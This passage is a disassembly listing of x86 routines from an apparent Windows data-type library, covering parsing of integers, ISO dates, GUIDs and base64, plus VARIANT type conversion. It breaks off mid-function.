mov eax, dword_69B92170
xor eax, [ebp+4]
and [ebp+var_8], 0
push 0Ah
pop ecx
mov esi, offset a18446744073709 ; "18446744073709551615"
lea edi, [ebp+var_84]
rep movsd
movsw
push 0Ah
pop ecx
mov esi, offset a92233720368547 ; "9223372036854775808"
lea edi, [ebp+var_30]
rep movsd
push 0Ah
pop ecx
mov esi, offset a922337203685_0 ; "9223372036854775807"
lea edi, [ebp+var_58]
rep movsd
mov ecx, [ebp+arg_0]
mov dx, [ecx]
xor edi, edi
xor bl, bl
cmp [ebp+arg_8], 1Ah
mov [ebp+var_4], eax
jnz short loc_69B2FDFD
cmp dx, 2Dh
jz short loc_69B2FE02
cmp dx, 2Bh
jz short loc_69B2FE04
loc_69B2FDFD: ; CODE XREF: sub_69B2FD9A+55j
mov eax, [ebp+arg_4]
jmp short loc_69B2FE3C
; ---------------------------------------------------------------------------
loc_69B2FE02: ; CODE XREF: sub_69B2FD9A+5Bj
mov bl, 1
loc_69B2FE04: ; CODE XREF: sub_69B2FD9A+61j
mov eax, [ebp+arg_4]
inc ecx
inc ecx
dec eax
jnz short loc_69B2FE3C
loc_69B2FE0C: ; CODE XREF: sub_69B2FD9A:loc_69B2FE68j
; sub_69B2FD9A+DFj ...
mov [ebp+var_8], 80004005h
loc_69B2FE13: ; CODE XREF: sub_69B2FD9A+D4j
; sub_69B2FD9A+102j
mov edx, [ebp+arg_10]
test edx, edx
mov eax, [ebp+arg_C]
pop edi
pop esi
mov word ptr [eax], 1
pop ebx
jz short loc_69B2FE27
mov [edx], ecx
loc_69B2FE27: ; CODE XREF: sub_69B2FD9A+89j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
mov eax, [ebp+var_8]
call sub_69B1B9F6
leave
retn 14h
; ---------------------------------------------------------------------------
loc_69B2FE39: ; CODE XREF: sub_69B2FD9A+A6j
inc ecx
inc ecx
dec eax
loc_69B2FE3C: ; CODE XREF: sub_69B2FD9A+66j
; sub_69B2FD9A+70j
cmp word ptr [ecx], 30h
jz short loc_69B2FE39
cmp [ebp+arg_8], 1Ah
jnz short loc_69B2FE5B
cmp eax, 13h
jnz short loc_69B2FE68
test bl, bl
jz short loc_69B2FE56
lea edi, [ebp+var_30]
jmp short loc_69B2FE6A
; ---------------------------------------------------------------------------
loc_69B2FE56: ; CODE XREF: sub_69B2FD9A+B5j
lea edi, [ebp+var_58]
jmp short loc_69B2FE6A
; ---------------------------------------------------------------------------
loc_69B2FE5B: ; CODE XREF: sub_69B2FD9A+ACj
cmp eax, 14h
jnz short loc_69B2FE68
lea edi, [ebp+var_84]
jmp short loc_69B2FE6A
; ---------------------------------------------------------------------------
loc_69B2FE68: ; CODE XREF: sub_69B2FD9A+B1j
; sub_69B2FD9A+C4j
jg short loc_69B2FE0C
loc_69B2FE6A: ; CODE XREF: sub_69B2FD9A+BAj
; sub_69B2FD9A+BFj ...
xor ebx, ebx
test eax, eax
jle short loc_69B2FE13
loc_69B2FE70: ; CODE XREF: sub_69B2FD9A+100j
mov dx, [ecx]
inc ecx
inc ecx
cmp dx, 30h
jb short loc_69B2FE0C
cmp dx, 39h
ja short loc_69B2FE0C
test edi, edi
jz short loc_69B2FE97
mov si, [edi]
inc edi
inc edi
cmp dx, si
ja loc_69B2FE0C
jnb short loc_69B2FE97
xor edi, edi
loc_69B2FE97: ; CODE XREF: sub_69B2FD9A+E9j
; sub_69B2FD9A+F9j
inc ebx
cmp ebx, eax
jl short loc_69B2FE70
jmp loc_69B2FE13
sub_69B2FD9A endp
; ---------------------------------------------------------------------------
align 4
a922337203685_0: ; DATA XREF: sub_69B2FD9A+3Ao
unicode 0, <9223372036854775807>,0
a92233720368547: ; DATA XREF: sub_69B2FD9A+2Do
unicode 0, <9223372036854775808>,0
a18446744073709: ; DATA XREF: sub_69B2FD9A+1Bo
unicode 0, <18446744073709551615>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B2FF1E(int, int, int, DATE *pdateOut, int)
sub_69B2FF1E proc near ; CODE XREF: sub_69B30C4F+114p
; sub_69B6527E+1Dp
SystemTime = SYSTEMTIME ptr -1Ch
FileTime = _FILETIME ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
pdateOut = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
xor eax, eax
lea edi, [ebp+SystemTime]
stosd
stosd
stosd
stosd
stosw
mov edi, [ebp+arg_4]
push edi
push esi
mov [ebp+SystemTime.wMonth], 1
mov [ebp+SystemTime.wDay], 1
call sub_69B2FB5A
mov ebx, eax
sub eax, esi
sar eax, 1
sub edi, eax
cmp [ebp+arg_8], 1Fh
jge loc_69B3002C
lea eax, [ebp+arg_0]
push eax
push edi
mov eax, ebx
call sub_69B2FB95
mov ecx, eax
sub ecx, ebx
and ecx, 0FFFFFFFEh
cmp ecx, 8
jnz loc_69B30267
mov ecx, [ebp+arg_0]
cmp ecx, 64h
jb loc_69B30267
mov [ebp+SystemTime.wYear], cx
sub edi, 4
cmp word ptr [eax], 2Dh
mov ebx, eax
jnz short loc_69B3000E
lea ecx, [ebp+arg_0]
push ecx
dec edi
push edi
add eax, 2
call sub_69B2FB95
mov ecx, eax
sub ecx, ebx
and ecx, 0FFFFFFFEh
cmp ecx, 6
jnz loc_69B30267
mov ecx, [ebp+arg_0]
test ecx, ecx
jz loc_69B30267
cmp ecx, 0Ch
ja loc_69B30267
dec edi
mov [ebp+SystemTime.wMonth], cx
dec edi
cmp word ptr [eax], 2Dh
mov ebx, eax
jnz short loc_69B3000E
lea ecx, [ebp+arg_0]
push ecx
dec edi
push edi
add eax, 2
call sub_69B2FB95
mov ecx, eax
sub ecx, ebx
and ecx, 0FFFFFFFEh
cmp ecx, 6
jnz loc_69B30267
mov ecx, [ebp+arg_0]
test ecx, ecx
jz loc_69B30267
cmp ecx, 1Fh
ja loc_69B30267
dec edi
mov [ebp+SystemTime.wDay], cx
dec edi
mov ebx, eax
loc_69B3000E: ; CODE XREF: sub_69B2FF1E+74j
; sub_69B2FF1E+B4j
test edi, edi
jz loc_69B30286
cmp [ebp+arg_8], 11h
jl short loc_69B3003E
cmp word ptr [eax], 54h
jnz loc_69B30267
lea ebx, [eax+2]
dec edi
jmp short loc_69B3003E
; ---------------------------------------------------------------------------
loc_69B3002C: ; CODE XREF: sub_69B2FF1E+39j
mov [ebp+SystemTime.wYear], 76Bh
mov [ebp+SystemTime.wMonth], 0Ch
mov [ebp+SystemTime.wDay], 1Eh
loc_69B3003E: ; CODE XREF: sub_69B2FF1E+FCj
; sub_69B2FF1E+10Cj
test edi, edi
jz loc_69B30286
cmp [ebp+arg_8], 11h
jl loc_69B30286
lea eax, [ebp+arg_0]
push eax
push edi
mov eax, ebx
call sub_69B2FB95
mov esi, eax
sub eax, ebx
and eax, 0FFFFFFFEh
cmp eax, 4
jnz loc_69B30267
mov eax, [ebp+arg_0]
cmp eax, 18h
ja loc_69B30267
dec edi
mov [ebp+SystemTime.wHour], ax
dec edi
cmp word ptr [esi], 3Ah
mov ebx, esi
jnz loc_69B3016D
lea eax, [ebp+arg_0]
push eax
dec edi
push edi
lea eax, [esi+2]
call sub_69B2FB95
mov esi, eax
sub eax, ebx
and eax, 0FFFFFFFEh
cmp eax, 6
jnz loc_69B30267
mov eax, [ebp+arg_0]
cmp eax, 3Bh
ja loc_69B30267
dec edi
mov [ebp+SystemTime.wMinute], ax
dec edi
cmp word ptr [esi], 3Ah
mov ebx, esi
jnz loc_69B3016D
lea eax, [ebp+arg_0]
push eax
dec edi
push edi
lea eax, [esi+2]
call sub_69B2FB95
mov esi, eax
sub eax, ebx
and eax, 0FFFFFFFEh
cmp eax, 6
jnz loc_69B30267
mov eax, [ebp+arg_0]
cmp eax, 3Bh
ja loc_69B30267
dec edi
mov [ebp+SystemTime.wSecond], ax
dec edi
cmp word ptr [esi], 2Eh
mov ebx, esi
jnz short loc_69B3016D
lea eax, [ebp+arg_0]
push eax
dec edi
push edi
lea eax, [esi+2]
call sub_69B2FB95
mov esi, eax
mov ecx, esi
sub ecx, ebx
lea eax, [ecx-2]
push 3
sar eax, 1
pop edx
sub edx, eax
cmp edx, 2
jg loc_69B30267
mov eax, [ebp+arg_0]
cmp eax, 3B9AC9FFh
ja loc_69B30267
xor ebx, ebx
inc ebx
sar ecx, 1
sub ebx, ecx
add edi, ebx
test edx, edx
mov ebx, esi
jle short loc_69B30153
mov ecx, edx
xor edx, edx
loc_69B30146: ; CODE XREF: sub_69B2FF1E+22Ej
lea eax, [eax+eax*4]
shl eax, 1
dec ecx
jnz short loc_69B30146
mov [ebp+arg_0], eax
test edx, edx
loc_69B30153: ; CODE XREF: sub_69B2FF1E+222j
jge short loc_69B30169
neg edx
mov [ebp+arg_0], edx
loc_69B3015A: ; CODE XREF: sub_69B2FF1E+246j
push 0Ah
xor edx, edx
pop ecx
div ecx
dec [ebp+arg_0]
jnz short loc_69B3015A
mov [ebp+arg_0], eax
loc_69B30169: ; CODE XREF: sub_69B2FF1E:loc_69B30153j
mov [ebp+SystemTime.wMilliseconds], ax
loc_69B3016D: ; CODE XREF: sub_69B2FF1E+166j
; sub_69B2FF1E+1A2j ...
cmp [ebp+SystemTime.wHour], 18h
jnz short loc_69B30195
cmp [ebp+SystemTime.wMinute], 0
ja loc_69B30267
cmp [ebp+SystemTime.wSecond], 0
ja loc_69B30267
cmp [ebp+SystemTime.wMilliseconds], 0
ja loc_69B30267
loc_69B30195: ; CODE XREF: sub_69B2FF1E+254j
test edi, edi
jz loc_69B30286
cmp [ebp+arg_8], 12h
jz short loc_69B301AD
cmp [ebp+arg_8], 20h
jnz loc_69B30286
loc_69B301AD: ; CODE XREF: sub_69B2FF1E+283j
mov ax, [esi]
cmp ax, 2Bh
jnz loc_69B3026E
mov [ebp+arg_8], 1
loc_69B301C1: ; CODE XREF: sub_69B2FF1E+35Aj
lea eax, [ebp+FileTime]
push eax ; lpFileTime
lea eax, [ebp+SystemTime]
push eax ; lpSystemTime
call ds:SystemTimeToFileTime ; SystemTimeToFileTime
test eax, eax
jz loc_69B30267
lea eax, [ebp+arg_0]
push eax
dec edi
push edi
lea eax, [esi+2]
call sub_69B2FB95
mov ecx, eax
sub ecx, ebx
and ecx, 0FFFFFFFEh
cmp ecx, 6
jnz short loc_69B30267
cmp word ptr [eax], 3Ah
mov esi, [ebp+arg_0]
mov ebx, eax
jnz short loc_69B30267
lea ecx, [ebp+arg_0]
push ecx
add edi, 0FFFFFFFDh
push edi
add eax, 2
call sub_69B2FB95
mov ecx, eax
sub ecx, ebx
and ecx, 0FFFFFFFEh
cmp ecx, 6
jnz short loc_69B30267
push 0
mov ebx, eax
push 3Ch
xor eax, eax
push eax
push esi
call sub_69B220C8
mov ecx, eax
mov eax, [ebp+arg_0]
mov esi, edx
xor edx, edx
add ecx, eax
mov eax, [ebp+arg_8]
adc esi, edx
cdq
push edx
push eax
push esi
push ecx
call sub_69B220C8
push 0
push 23C34600h
push edx
push eax
call sub_69B220C8
add [ebp+FileTime.dwLowDateTime], eax
lea eax, [ebp+SystemTime]
push eax ; lpSystemTime
adc [ebp+FileTime.dwHighDateTime], edx
lea eax, [ebp+FileTime]
push eax ; lpFileTime
call ds:FileTimeToSystemTime ; FileTimeToSystemTime
test eax, eax
jnz short loc_69B30286
loc_69B30267: ; CODE XREF: sub_69B2FF1E+55j
; sub_69B2FF1E+61j ...
mov eax, 80004005h
jmp short loc_69B30295
; ---------------------------------------------------------------------------
loc_69B3026E: ; CODE XREF: sub_69B2FF1E+296j
cmp ax, 2Dh
jnz short loc_69B3027D
or [ebp+arg_8], 0FFFFFFFFh
jmp loc_69B301C1
; ---------------------------------------------------------------------------
loc_69B3027D: ; CODE XREF: sub_69B2FF1E+354j
cmp ax, 5Ah
jnz short loc_69B30286
lea ebx, [esi+2]
loc_69B30286: ; CODE XREF: sub_69B2FF1E+F2j
; sub_69B2FF1E+122j ...
push [ebp+pdateOut] ; pdateOut
lea eax, [ebp+SystemTime]
push 0 ; dwFlags
push eax ; pudateIn
call VarDateFromUdate
loc_69B30295: ; CODE XREF: sub_69B2FF1E+34Ej
mov ecx, [ebp+arg_10]
test ecx, ecx
jz short loc_69B3029E
mov [ecx], ebx
loc_69B3029E: ; CODE XREF: sub_69B2FF1E+37Cj
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B2FF1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B302A5 proc near ; CODE XREF: sub_69B3078B+5Dp
; sub_69B30C4F+103p ...
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = byte ptr -0Ch
var_A = byte ptr -0Ah
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
xor ebx, ebx
jmp short loc_69B302DE
; ---------------------------------------------------------------------------
loc_69B302C2: ; CODE XREF: sub_69B302A5+3Cj
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
dec [ebp+arg_4]
cmp ax, bx
jz short loc_69B302E3
push eax
call sub_69B2ECB4
test eax, eax
jnz short loc_69B302E3
add [ebp+arg_0], 2
loc_69B302DE: ; CODE XREF: sub_69B302A5+1Bj
cmp [ebp+arg_4], ebx
jnz short loc_69B302C2
loc_69B302E3: ; CODE XREF: sub_69B302A5+29j
; sub_69B302A5+33j
mov eax, [ebp+arg_0]
sub eax, esi
and eax, 0FFFFFFFEh
cmp eax, 48h
jnz loc_69B303D6
push 2Dh
pop eax
cmp [esi+10h], ax
jnz loc_69B303D6
cmp [esi+1Ah], ax
jnz loc_69B303D6
cmp [esi+24h], ax
jnz loc_69B303D6
cmp [esi+2Eh], ax
jnz loc_69B303D6
push ebx
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_14]
push eax
push 8
push esi
call sub_69B2FBDE
cmp eax, ebx
jnz loc_69B303DB
mov al, [ebp+var_14]
mov cl, [ebp+var_11]
mov [ebp+var_11], al
mov al, [ebp+var_13]
mov [ebp+var_14], cl
mov cl, [ebp+var_12]
mov [ebp+var_12], al
push ebx
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_10]
push eax
push 4
lea eax, [esi+12h]
push eax
mov [ebp+var_13], cl
call sub_69B2FBDE
cmp eax, ebx
jnz short loc_69B303DB
mov al, [ebp+var_10]
mov cl, [ebp+var_F]
mov [ebp+var_F], al
push ebx
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_E]
push eax
push 4
lea eax, [esi+1Ch]
push eax
mov [ebp+var_10], cl
call sub_69B2FBDE
cmp eax, ebx
jnz short loc_69B303DB
mov al, [ebp+var_E]
mov cl, [ebp+var_D]
mov [ebp+var_D], al
push ebx
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
push 4
lea eax, [esi+26h]
push eax
mov [ebp+var_E], cl
call sub_69B2FBDE
cmp eax, ebx
jnz short loc_69B303DB
push ebx
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_A]
push eax
push 0Ch
add esi, 30h
push esi
call sub_69B2FBDE
cmp eax, ebx
jnz short loc_69B303DB
push edi
mov edi, [ebp+arg_8]
lea esi, [ebp+var_14]
movsd
movsd
movsd
movsd
pop edi
jmp short loc_69B303DB
; ---------------------------------------------------------------------------
loc_69B303D6: ; CODE XREF: sub_69B302A5+49j
; sub_69B302A5+56j ...
mov eax, 80004005h
loc_69B303DB: ; CODE XREF: sub_69B302A5+8Dj
; sub_69B302A5+C1j ...
mov ecx, [ebp+arg_C]
pop esi
cmp ecx, ebx
pop ebx
jz short loc_69B303E9
mov edx, [ebp+arg_0]
mov [ecx], edx
loc_69B303E9: ; CODE XREF: sub_69B302A5+13Dj
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
call sub_69B1B9F6
leave
retn 10h
sub_69B302A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B303F8 proc near ; CODE XREF: sub_69B30856+97p
; sub_69B30856+FBp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
test ecx, ecx
push ebx
jle short loc_69B30477
cmp [ebp+arg_8], 0FFFFFFFFh
jnz short loc_69B3040F
cmp [ebp+arg_C], 0FFFFFFFFh
jz short loc_69B30477
loc_69B3040F: ; CODE XREF: sub_69B303F8+Fj
mov eax, [ebp+arg_0]
test eax, eax
mov ebx, ecx
jz short loc_69B30453
push esi
lea esi, [eax+ecx*2]
cmp eax, esi
push edi
mov edi, eax
jnb short loc_69B30451
loc_69B30423: ; CODE XREF: sub_69B303F8+3Fj
xor eax, eax
mov ax, [edi]
push eax
call sub_69B2ECB4
test eax, eax
jz short loc_69B3044D
inc edi
inc edi
dec ebx
cmp edi, esi
jb short loc_69B30423
jmp short loc_69B3044D
; ---------------------------------------------------------------------------
loc_69B3043B: ; CODE XREF: sub_69B303F8+57j
dec esi
xor eax, eax
dec esi
mov ax, [esi]
push eax
call sub_69B2ECB4
test eax, eax
jz short loc_69B30451
dec ebx
loc_69B3044D: ; CODE XREF: sub_69B303F8+38j
; sub_69B303F8+41j
cmp edi, esi
jb short loc_69B3043B
loc_69B30451: ; CODE XREF: sub_69B303F8+29j
; sub_69B303F8+52j
pop edi
pop esi
loc_69B30453: ; CODE XREF: sub_69B303F8+1Ej
cmp [ebp+arg_8], 0FFFFFFFFh
jz short loc_69B30465
cmp [ebp+arg_8], ebx
jle short loc_69B30465
mov eax, 0C00CE222h
jmp short loc_69B30479
; ---------------------------------------------------------------------------
loc_69B30465: ; CODE XREF: sub_69B303F8+5Fj
; sub_69B303F8+64j
cmp [ebp+arg_C], 0FFFFFFFFh
jz short loc_69B30477
cmp [ebp+arg_C], ebx
jge short loc_69B30477
mov eax, 0C00CE221h
jmp short loc_69B30479
; ---------------------------------------------------------------------------
loc_69B30477: ; CODE XREF: sub_69B303F8+9j
; sub_69B303F8+15j ...
xor eax, eax
loc_69B30479: ; CODE XREF: sub_69B303F8+6Bj
; sub_69B303F8+7Dj
pop ebx
pop ebp
retn 10h
sub_69B303F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3047E proc near ; CODE XREF: sub_69B304F3+53p
; sub_69B304F3+72p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_8]
and [ebp+var_4], 0
push edi
xor edi, edi
inc edi
cmp eax, 5
jle short loc_69B3049B
mov [ebp+var_4], 80070057h
jmp short loc_69B304EB
; ---------------------------------------------------------------------------
loc_69B3049B: ; CODE XREF: sub_69B3047E+12j
dec eax
jz short loc_69B304AB
loc_69B3049E: ; CODE XREF: sub_69B3047E+26j
lea edi, [edi+edi*4]
shl edi, 1
dec eax
jnz short loc_69B3049E
test di, di
jbe short loc_69B304EB
loc_69B304AB: ; CODE XREF: sub_69B3047E+1Ej
push ebx
push esi
loc_69B304AD: ; CODE XREF: sub_69B3047E+60j
movzx eax, word ptr [ebp+arg_4]
movzx ebx, di
cdq
idiv ebx
mov esi, eax
cmp si, 9
ja short loc_69B304E2
mov ecx, [ebp+arg_0]
lea eax, [esi+30h]
push eax
call sub_69B88E7C
imul esi, edi
mov eax, ebx
push 0Ah
cdq
pop ecx
idiv ecx
sub [ebp+arg_4], esi
mov edi, eax
test di, di
ja short loc_69B304AD
jmp short loc_69B304E9
; ---------------------------------------------------------------------------
loc_69B304E2: ; CODE XREF: sub_69B3047E+3Fj
mov [ebp+var_4], 80070057h
loc_69B304E9: ; CODE XREF: sub_69B3047E+62j
pop esi
pop ebx
loc_69B304EB: ; CODE XREF: sub_69B3047E+1Bj
; sub_69B3047E+2Bj
mov eax, [ebp+var_4]
pop edi
leave
retn 0Ch
sub_69B3047E endp
; =============== S U B R O U T I N E =======================================
sub_69B304F3 proc near ; CODE XREF: sub_69B30E5D+191p
; sub_69B6511B+15p
var_18 = qword ptr -18h
push 24h
push offset dword_69B30650
call sub_69B19C5C
wait
and dword ptr [ebp-4], 0
call sub_69B88D77
mov esi, eax
mov [ebp-1Ch], esi
xor eax, eax
lea edi, [ebp-30h]
stosd
stosd
stosd
stosd
stosw
lea eax, [ebp-30h]
push eax ; pudateOut
push 0 ; dwFlags
mov eax, [ebp+10h]
fld qword ptr [eax]
push ecx
push ecx ; dateIn
fstp [esp+18h+var_18]
call VarUdateFromDate
mov [ebp-34h], eax
test eax, eax
jnz loc_69B30617
cmp dword ptr [ebp+0Ch], 1Fh
jge short loc_69B305A3
push 4
push dword ptr [ebp-30h]
push esi
call sub_69B3047E
mov [ebp-34h], eax
test eax, eax
jnz loc_69B30617
push 2Dh
mov ecx, esi
call sub_69B88E7C
push 2
push dword ptr [ebp-2Eh]
push esi
call sub_69B3047E
mov [ebp-34h], eax
test eax, eax
jnz loc_69B30617
push 2Dh
mov ecx, esi
call sub_69B88E7C
push 2
push dword ptr [ebp-2Ah]
push esi
call sub_69B3047E
mov [ebp-34h], eax
test eax, eax
jnz loc_69B30617
cmp dword ptr [ebp+0Ch], 11h
jl short loc_69B3060C
push 54h
mov ecx, esi
call sub_69B88E7C
loc_69B305A3: ; CODE XREF: sub_69B304F3+4Bj
cmp dword ptr [ebp+0Ch], 11h
jl short loc_69B3060C
push 2
push dword ptr [ebp-28h]
push esi
call sub_69B3047E
mov [ebp-34h], eax
test eax, eax
jnz short loc_69B30617
push 3Ah
mov ecx, esi
call sub_69B88E7C
push 2
push dword ptr [ebp-26h]
push esi
call sub_69B3047E
mov [ebp-34h], eax
test eax, eax
jnz short loc_69B30617
push 3Ah
mov ecx, esi
call sub_69B88E7C
push 2
push dword ptr [ebp-24h]
push esi
call sub_69B3047E
mov [ebp-34h], eax
test eax, eax
jnz short loc_69B30617
push 2Eh
mov ecx, esi
call sub_69B88E7C
push 3
push dword ptr [ebp-22h]
push esi
call sub_69B3047E
mov [ebp-34h], eax
test eax, eax
jnz short loc_69B30617
loc_69B3060C: ; CODE XREF: sub_69B304F3+A5j
; sub_69B304F3+B4j
push esi
call sub_69B2F0E0
mov ecx, [ebp+8]
mov [ecx], eax
loc_69B30617: ; CODE XREF: sub_69B304F3+41j
; sub_69B304F3+5Dj ...
wait
jmp short loc_69B30635
; ---------------------------------------------------------------------------
loc_69B3061A: ; DATA XREF: .text:69B30654o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B30623: ; DATA XREF: .text:69B30658o
mov esp, [ebp-18h]
call sub_69B2E808
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
loc_69B30635: ; CODE XREF: sub_69B304F3+125j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp dword ptr [ebp-34h], 0
jz short loc_69B30645
mov eax, [ebp+8]
and dword ptr [eax], 0
loc_69B30645: ; CODE XREF: sub_69B304F3+14Aj
mov eax, [ebp-34h]
call sub_69B1853C
retn 0Ch
sub_69B304F3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dword_69B30650 dd 0FFFFFFFFh dd offset loc_69B3061A
dd offset loc_69B30623
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B3065C proc near ; CODE XREF: sub_69B30856+E0p
var_10C = byte ptr -10Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 10Ch
mov eax, dword_69B92170
xor eax, [ebp+4]
mov edx, [ebp+arg_8]
and [ebp+var_C], 0
test edx, edx
mov [ebp+var_4], eax
jnz short loc_69B30687
mov [ebp+var_C], 8007000Eh
jmp loc_69B30770
; ---------------------------------------------------------------------------
loc_69B30687: ; CODE XREF: sub_69B3065C+1Dj
push edi
push 40h
pop ecx
or eax, 0FFFFFFFFh
lea edi, [ebp+var_10C]
rep stosd
xor al, al
mov ecx, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
push esi
loc_69B3069E: ; CODE XREF: sub_69B3065C+52j
movzx esi, word ptr [ecx]
mov [ebp+esi+var_10C], al
inc al
inc ecx
inc ecx
cmp al, 40h
jb short loc_69B3069E
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ax, [eax]
xor edi, edi
xor esi, esi
test ax, ax
jz short loc_69B3073D
mov [ebp+arg_0], 0FFFFFFF8h
loc_69B306C9: ; CODE XREF: sub_69B3065C+DFj
mov ecx, [ebp+arg_4]
dec [ebp+arg_4]
test ecx, ecx
jz short loc_69B3073D
cmp ax, 0Ah
jz short loc_69B3072E
cmp ax, 0Dh
jz short loc_69B3072E
cmp ax, 20h
jz short loc_69B3072E
cmp ax, 9
jz short loc_69B3072E
cmp ax, 3Dh
jz short loc_69B3073D
cmp ax, 7Fh
ja loc_69B30782
movzx eax, ax
mov al, [ebp+eax+var_10C]
cmp al, 0FFh
jz short loc_69B30782
add [ebp+arg_0], 6
movzx eax, al
shl edi, 6
add esi, 6
or edi, eax
cmp esi, 8
jl short loc_69B3072E
mov ecx, [ebp+arg_0]
mov eax, edi
shr eax, cl
sub esi, 8
mov [edx], al
inc edx
sub [ebp+arg_0], 8
loc_69B3072E: ; CODE XREF: sub_69B3065C+7Bj
; sub_69B3065C+81j ...
add [ebp+var_8], 2
mov eax, [ebp+var_8]
mov ax, [eax]
test ax, ax
jnz short loc_69B306C9
loc_69B3073D: ; CODE XREF: sub_69B3065C+64j
; sub_69B3065C+75j ...
sub edx, [ebp+arg_8]
cmp ax, 3Dh
mov ecx, [ebp+arg_C]
mov [ecx], edx
mov edx, [ebp+var_8]
jnz short loc_69B30758
xor esi, esi
loc_69B30750: ; CODE XREF: sub_69B3065C+FAj
inc edx
inc edx
cmp word ptr [edx], 3Dh
jz short loc_69B30750
loc_69B30758: ; CODE XREF: sub_69B3065C+F0j
test esi, esi
jz short loc_69B30765
lea ecx, [esi-8]
shr edi, cl
test edi, edi
jnz short loc_69B30782
loc_69B30765: ; CODE XREF: sub_69B3065C+FEj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_69B3076E
mov [eax], edx
loc_69B3076E: ; CODE XREF: sub_69B3065C+10Ej
; sub_69B3065C+12Dj
pop esi
pop edi
loc_69B30770: ; CODE XREF: sub_69B3065C+26j
mov ecx, [ebp+var_4]
xor ecx, [ebp+4]
mov eax, [ebp+var_C]
call sub_69B1B9F6
leave
retn 14h
; ---------------------------------------------------------------------------
loc_69B30782: ; CODE XREF: sub_69B3065C+99j
; sub_69B3065C+ABj ...
mov [ebp+var_C], 80070057h
jmp short loc_69B3076E
sub_69B3065C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B3078B(int, VARIANTARG *pvarSrc, VARIANTARG *pvarg)
sub_69B3078B proc near ; CODE XREF: sub_69B4CEA8+B5p
var_14 = byte ptr -14h
var_4 = dword ptr -4
arg_0 = dword ptr 8
pvarSrc = dword ptr 0Ch
pvarg = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_69B92170
xor eax, [ebp+4]
push ebx
push esi
mov esi, [ebp+pvarg]
push edi
mov edi, [ebp+arg_0]
mov [ebp+var_4], eax
lea eax, [edi+edi*2]
movzx eax, ds:word_69B25F08[eax*4]
push eax ; vt
push 1 ; wFlags
push 409h ; lcid
push [ebp+pvarSrc] ; pvarSrc
push esi ; pvargDest
call VariantChangeTypeEx
mov ebx, eax
test ebx, ebx
jnz short loc_69B30837
cmp edi, 0Fh
jz short loc_69B30820
cmp edi, 13h
jz short loc_69B307F1
cmp edi, 26h
jnz short loc_69B30844
mov edi, [esi+8]
push eax
lea eax, [ebp+var_14]
push eax
push edi ; lpString
call ds:lstrlenW ; lstrlenW
push eax
push edi
call sub_69B302A5
mov ebx, eax
jmp short loc_69B30833
; ---------------------------------------------------------------------------
loc_69B307F1: ; CODE XREF: sub_69B3078B+45j
mov eax, [esi+0Ch]
cmp eax, 0F21F494Ch
mov ecx, [esi+8]
jl short loc_69B30819
jg short loc_69B30808
cmp ecx, 589C0001h
jb short loc_69B30819
loc_69B30808: ; CODE XREF: sub_69B3078B+73j
cmp eax, 0DE0B6B3h
jl short loc_69B30844
jg short loc_69B30819
cmp ecx, 0A763FFFFh
jbe short loc_69B30844
loc_69B30819: ; CODE XREF: sub_69B3078B+71j
; sub_69B3078B+7Bj ...
mov ebx, 8002000Ah
jmp short loc_69B30837
; ---------------------------------------------------------------------------
loc_69B30820: ; CODE XREF: sub_69B3078B+40j
mov eax, [esi+8]
test eax, eax
jl short loc_69B3082E
cmp eax, 0FFFDh
jle short loc_69B30844
loc_69B3082E: ; CODE XREF: sub_69B3078B+9Aj
mov ebx, 8002000Ah
loc_69B30833: ; CODE XREF: sub_69B3078B+64j
test ebx, ebx
jz short loc_69B30844
loc_69B30837: ; CODE XREF: sub_69B3078B+3Bj
; sub_69B3078B+93j
push esi ; pvarg
call VariantClear
push ebx
call sub_69B2E8B8
